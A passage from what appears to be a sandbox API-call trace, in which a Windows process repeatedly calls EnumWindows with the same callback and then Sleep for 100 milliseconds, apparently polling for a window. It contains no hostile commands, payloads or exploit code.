lParam=0x410000) [0171.959] Sleep (dwMilliseconds=0x64) [0171.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.961] Sleep (dwMilliseconds=0x64) [0171.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.962] Sleep (dwMilliseconds=0x64) [0171.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.964] Sleep (dwMilliseconds=0x64) [0171.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.966] Sleep (dwMilliseconds=0x64) [0171.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.968] Sleep (dwMilliseconds=0x64) [0171.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.969] Sleep (dwMilliseconds=0x64) [0171.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.971] Sleep (dwMilliseconds=0x64) [0171.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.973] Sleep (dwMilliseconds=0x64) [0171.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.975] Sleep (dwMilliseconds=0x64) [0171.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.976] Sleep (dwMilliseconds=0x64) [0171.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.979] Sleep (dwMilliseconds=0x64) [0171.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.980] Sleep (dwMilliseconds=0x64) [0171.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.982] Sleep (dwMilliseconds=0x64) [0171.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.984] Sleep (dwMilliseconds=0x64) [0171.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.986] Sleep (dwMilliseconds=0x64) [0171.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.989] Sleep (dwMilliseconds=0x64) [0171.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.991] Sleep (dwMilliseconds=0x64) [0171.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.994] Sleep (dwMilliseconds=0x64) [0171.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.995] Sleep (dwMilliseconds=0x64) [0171.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.997] Sleep (dwMilliseconds=0x64) [0171.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0171.999] Sleep (dwMilliseconds=0x64) [0172.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.001] Sleep (dwMilliseconds=0x64) [0172.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.003] Sleep (dwMilliseconds=0x64) [0172.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.006] Sleep (dwMilliseconds=0x64) [0172.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.007] Sleep (dwMilliseconds=0x64) [0172.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.009] Sleep (dwMilliseconds=0x64) [0172.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.011] Sleep (dwMilliseconds=0x64) [0172.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.013] Sleep (dwMilliseconds=0x64) [0172.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.014] Sleep (dwMilliseconds=0x64) [0172.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.016] Sleep (dwMilliseconds=0x64) [0172.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.017] Sleep (dwMilliseconds=0x64) [0172.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.019] Sleep (dwMilliseconds=0x64) [0172.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.021] Sleep (dwMilliseconds=0x64) [0172.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.022] Sleep (dwMilliseconds=0x64) [0172.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.024] Sleep (dwMilliseconds=0x64) [0172.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.025] Sleep (dwMilliseconds=0x64) [0172.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.028] Sleep (dwMilliseconds=0x64) [0172.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.029] Sleep (dwMilliseconds=0x64) [0172.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.031] Sleep (dwMilliseconds=0x64) [0172.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.032] Sleep (dwMilliseconds=0x64) [0172.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.034] Sleep (dwMilliseconds=0x64) [0172.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.035] Sleep (dwMilliseconds=0x64) [0172.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.037] Sleep (dwMilliseconds=0x64) [0172.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.038] Sleep (dwMilliseconds=0x64) [0172.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.040] Sleep (dwMilliseconds=0x64) [0172.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.041] Sleep (dwMilliseconds=0x64) [0172.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.043] Sleep (dwMilliseconds=0x64) [0172.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.045] Sleep (dwMilliseconds=0x64) [0172.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.047] Sleep (dwMilliseconds=0x64) [0172.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.048] Sleep (dwMilliseconds=0x64) [0172.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.050] Sleep (dwMilliseconds=0x64) [0172.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.051] Sleep (dwMilliseconds=0x64) [0172.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.053] Sleep (dwMilliseconds=0x64) [0172.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.054] Sleep (dwMilliseconds=0x64) [0172.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.056] Sleep (dwMilliseconds=0x64) [0172.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.057] Sleep (dwMilliseconds=0x64) [0172.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.059] Sleep (dwMilliseconds=0x64) [0172.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.060] Sleep (dwMilliseconds=0x64) [0172.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.064] Sleep (dwMilliseconds=0x64) [0172.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.065] Sleep (dwMilliseconds=0x64) [0172.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.067] Sleep (dwMilliseconds=0x64) [0172.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.068] Sleep (dwMilliseconds=0x64) [0172.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.104] Sleep (dwMilliseconds=0x64) [0172.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.160] Sleep (dwMilliseconds=0x64) [0172.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.162] Sleep (dwMilliseconds=0x64) [0172.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.164] Sleep (dwMilliseconds=0x64) [0172.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.165] Sleep (dwMilliseconds=0x64) [0172.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.167] Sleep (dwMilliseconds=0x64) [0172.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.169] Sleep (dwMilliseconds=0x64) [0172.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.170] Sleep (dwMilliseconds=0x64) [0172.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.172] Sleep (dwMilliseconds=0x64) [0172.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.173] Sleep (dwMilliseconds=0x64) [0172.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.175] Sleep (dwMilliseconds=0x64) [0172.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.178] Sleep (dwMilliseconds=0x64) [0172.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.180] Sleep (dwMilliseconds=0x64) [0172.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.182] Sleep (dwMilliseconds=0x64) [0172.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.184] Sleep (dwMilliseconds=0x64) [0172.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.186] Sleep (dwMilliseconds=0x64) [0172.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.187] Sleep (dwMilliseconds=0x64) [0172.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.189] Sleep (dwMilliseconds=0x64) [0172.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.221] Sleep (dwMilliseconds=0x64) [0172.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.302] Sleep (dwMilliseconds=0x64) [0172.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.303] Sleep (dwMilliseconds=0x64) [0172.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.332] Sleep (dwMilliseconds=0x64) [0172.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.341] Sleep (dwMilliseconds=0x64) [0172.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.348] Sleep (dwMilliseconds=0x64) [0172.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.354] Sleep (dwMilliseconds=0x64) [0172.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.357] Sleep (dwMilliseconds=0x64) [0172.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.369] Sleep (dwMilliseconds=0x64) [0172.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.370] Sleep (dwMilliseconds=0x64) [0172.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.373] Sleep (dwMilliseconds=0x64) [0172.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.374] Sleep (dwMilliseconds=0x64) [0172.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.377] Sleep (dwMilliseconds=0x64) [0172.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.378] Sleep (dwMilliseconds=0x64) [0172.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.380] Sleep (dwMilliseconds=0x64) [0172.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.381] Sleep (dwMilliseconds=0x64) [0172.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.383] Sleep (dwMilliseconds=0x64) [0172.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.385] Sleep (dwMilliseconds=0x64) [0172.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.389] Sleep (dwMilliseconds=0x64) [0172.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.391] Sleep (dwMilliseconds=0x64) [0172.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.392] Sleep (dwMilliseconds=0x64) [0172.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.421] Sleep (dwMilliseconds=0x64) [0172.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.423] Sleep (dwMilliseconds=0x64) [0172.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.425] Sleep (dwMilliseconds=0x64) [0172.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.428] Sleep (dwMilliseconds=0x64) [0172.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.430] Sleep (dwMilliseconds=0x64) [0172.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.431] Sleep (dwMilliseconds=0x64) [0172.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.434] Sleep (dwMilliseconds=0x64) [0172.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.436] Sleep (dwMilliseconds=0x64) [0172.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.438] Sleep (dwMilliseconds=0x64) [0172.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.441] Sleep (dwMilliseconds=0x64) [0172.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.542] Sleep (dwMilliseconds=0x64) [0172.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.545] Sleep (dwMilliseconds=0x64) [0172.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.547] Sleep (dwMilliseconds=0x64) [0172.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.549] Sleep (dwMilliseconds=0x64) [0172.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.551] Sleep (dwMilliseconds=0x64) [0172.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.552] Sleep (dwMilliseconds=0x64) [0172.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.554] Sleep (dwMilliseconds=0x64) [0172.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.557] Sleep (dwMilliseconds=0x64) [0172.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.559] Sleep (dwMilliseconds=0x64) [0172.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.560] Sleep (dwMilliseconds=0x64) [0172.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.562] Sleep (dwMilliseconds=0x64) [0172.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.564] Sleep (dwMilliseconds=0x64) [0172.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.566] Sleep (dwMilliseconds=0x64) [0172.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.568] Sleep (dwMilliseconds=0x64) [0172.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.570] Sleep (dwMilliseconds=0x64) [0172.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.572] Sleep (dwMilliseconds=0x64) [0172.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.637] Sleep (dwMilliseconds=0x64) [0172.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.639] Sleep (dwMilliseconds=0x64) [0172.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.640] Sleep (dwMilliseconds=0x64) [0172.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.642] Sleep (dwMilliseconds=0x64) [0172.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.651] Sleep (dwMilliseconds=0x64) [0172.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.653] Sleep (dwMilliseconds=0x64) [0172.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.654] Sleep (dwMilliseconds=0x64) [0172.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.656] Sleep (dwMilliseconds=0x64) [0172.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.657] Sleep (dwMilliseconds=0x64) [0172.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.659] Sleep (dwMilliseconds=0x64) [0172.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.662] Sleep (dwMilliseconds=0x64) [0172.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.663] Sleep (dwMilliseconds=0x64) [0172.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.665] Sleep (dwMilliseconds=0x64) [0172.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.666] Sleep (dwMilliseconds=0x64) [0172.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.850] Sleep (dwMilliseconds=0x64) [0172.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.935] Sleep (dwMilliseconds=0x64) [0172.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.970] Sleep (dwMilliseconds=0x64) [0172.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.972] Sleep (dwMilliseconds=0x64) [0172.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.973] Sleep (dwMilliseconds=0x64) [0172.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.975] Sleep (dwMilliseconds=0x64) [0172.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.976] Sleep (dwMilliseconds=0x64) [0172.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.978] Sleep (dwMilliseconds=0x64) [0172.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.982] Sleep (dwMilliseconds=0x64) [0172.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.984] Sleep (dwMilliseconds=0x64) [0172.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.985] Sleep (dwMilliseconds=0x64) [0172.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.987] Sleep (dwMilliseconds=0x64) [0172.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.988] Sleep (dwMilliseconds=0x64) [0172.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.990] Sleep (dwMilliseconds=0x64) [0172.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.992] Sleep (dwMilliseconds=0x64) [0172.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.993] Sleep (dwMilliseconds=0x64) [0172.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.995] Sleep (dwMilliseconds=0x64) [0172.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.996] Sleep (dwMilliseconds=0x64) [0172.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0172.998] Sleep (dwMilliseconds=0x64) [0173.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.000] Sleep (dwMilliseconds=0x64) [0173.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.002] Sleep (dwMilliseconds=0x64) [0173.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.004] Sleep (dwMilliseconds=0x64) [0173.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.005] Sleep (dwMilliseconds=0x64) [0173.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.007] Sleep (dwMilliseconds=0x64) [0173.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.009] Sleep (dwMilliseconds=0x64) [0173.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.011] Sleep (dwMilliseconds=0x64) [0173.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.098] Sleep (dwMilliseconds=0x64) [0173.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.145] Sleep (dwMilliseconds=0x64) [0173.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.180] Sleep (dwMilliseconds=0x64) [0173.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.236] Sleep (dwMilliseconds=0x64) [0173.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.273] Sleep (dwMilliseconds=0x64) [0173.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.277] Sleep (dwMilliseconds=0x64) [0173.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.279] Sleep (dwMilliseconds=0x64) [0173.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.280] Sleep (dwMilliseconds=0x64) [0173.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.284] Sleep (dwMilliseconds=0x64) [0173.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.286] Sleep (dwMilliseconds=0x64) [0173.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.287] Sleep (dwMilliseconds=0x64) [0173.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.289] Sleep (dwMilliseconds=0x64) [0173.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.290] Sleep (dwMilliseconds=0x64) [0173.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.292] Sleep (dwMilliseconds=0x64) [0173.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.309] Sleep (dwMilliseconds=0x64) [0173.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.316] Sleep (dwMilliseconds=0x64) [0173.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.318] Sleep (dwMilliseconds=0x64) [0173.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.319] Sleep (dwMilliseconds=0x64) [0173.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.321] Sleep (dwMilliseconds=0x64) [0173.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.322] Sleep (dwMilliseconds=0x64) [0173.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.327] Sleep (dwMilliseconds=0x64) [0173.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.328] Sleep (dwMilliseconds=0x64) [0173.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.330] Sleep (dwMilliseconds=0x64) [0173.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.331] Sleep (dwMilliseconds=0x64) [0173.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.333] Sleep (dwMilliseconds=0x64) [0173.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.335] Sleep (dwMilliseconds=0x64) [0173.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.336] Sleep (dwMilliseconds=0x64) [0173.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.386] Sleep (dwMilliseconds=0x64) [0173.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.387] Sleep (dwMilliseconds=0x64) [0173.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.389] Sleep (dwMilliseconds=0x64) [0173.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.391] Sleep (dwMilliseconds=0x64) [0173.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.392] Sleep (dwMilliseconds=0x64) [0173.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.398] Sleep (dwMilliseconds=0x64) [0173.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.400] Sleep (dwMilliseconds=0x64) [0173.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.402] Sleep (dwMilliseconds=0x64) [0173.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.404] Sleep (dwMilliseconds=0x64) [0173.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.406] Sleep (dwMilliseconds=0x64) [0173.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.408] Sleep (dwMilliseconds=0x64) [0173.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.410] Sleep (dwMilliseconds=0x64) [0173.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.411] Sleep (dwMilliseconds=0x64) [0173.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.413] Sleep (dwMilliseconds=0x64) [0173.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.414] Sleep (dwMilliseconds=0x64) [0173.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.440] Sleep (dwMilliseconds=0x64) [0173.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.441] Sleep (dwMilliseconds=0x64) [0173.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.443] Sleep (dwMilliseconds=0x64) [0173.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.446] Sleep (dwMilliseconds=0x64) [0173.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.448] Sleep (dwMilliseconds=0x64) [0173.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.450] Sleep (dwMilliseconds=0x64) [0173.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.453] Sleep (dwMilliseconds=0x64) [0173.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.455] Sleep (dwMilliseconds=0x64) [0173.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.464] Sleep (dwMilliseconds=0x64) [0173.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.466] Sleep (dwMilliseconds=0x64) [0173.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.467] Sleep (dwMilliseconds=0x64) [0173.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.469] Sleep (dwMilliseconds=0x64) [0173.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.470] Sleep (dwMilliseconds=0x64) [0173.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.550] Sleep (dwMilliseconds=0x64) [0173.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.617] Sleep (dwMilliseconds=0x64) [0173.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.686] Sleep (dwMilliseconds=0x64) [0173.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.705] Sleep (dwMilliseconds=0x64) [0173.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.708] Sleep (dwMilliseconds=0x64) [0173.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.710] Sleep (dwMilliseconds=0x64) [0173.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.715] Sleep (dwMilliseconds=0x64) [0173.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.717] Sleep (dwMilliseconds=0x64) [0173.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.719] Sleep (dwMilliseconds=0x64) [0173.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.720] Sleep (dwMilliseconds=0x64) [0173.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.723] Sleep (dwMilliseconds=0x64) [0173.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.724] Sleep (dwMilliseconds=0x64) [0173.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.726] Sleep (dwMilliseconds=0x64) [0173.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.728] Sleep (dwMilliseconds=0x64) [0173.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.729] Sleep (dwMilliseconds=0x64) [0173.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.732] Sleep (dwMilliseconds=0x64) [0173.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.734] Sleep (dwMilliseconds=0x64) [0173.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.736] Sleep (dwMilliseconds=0x64) [0173.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0173.738] Sleep (dwMilliseconds=0x64) [0173.739] EnumWindows 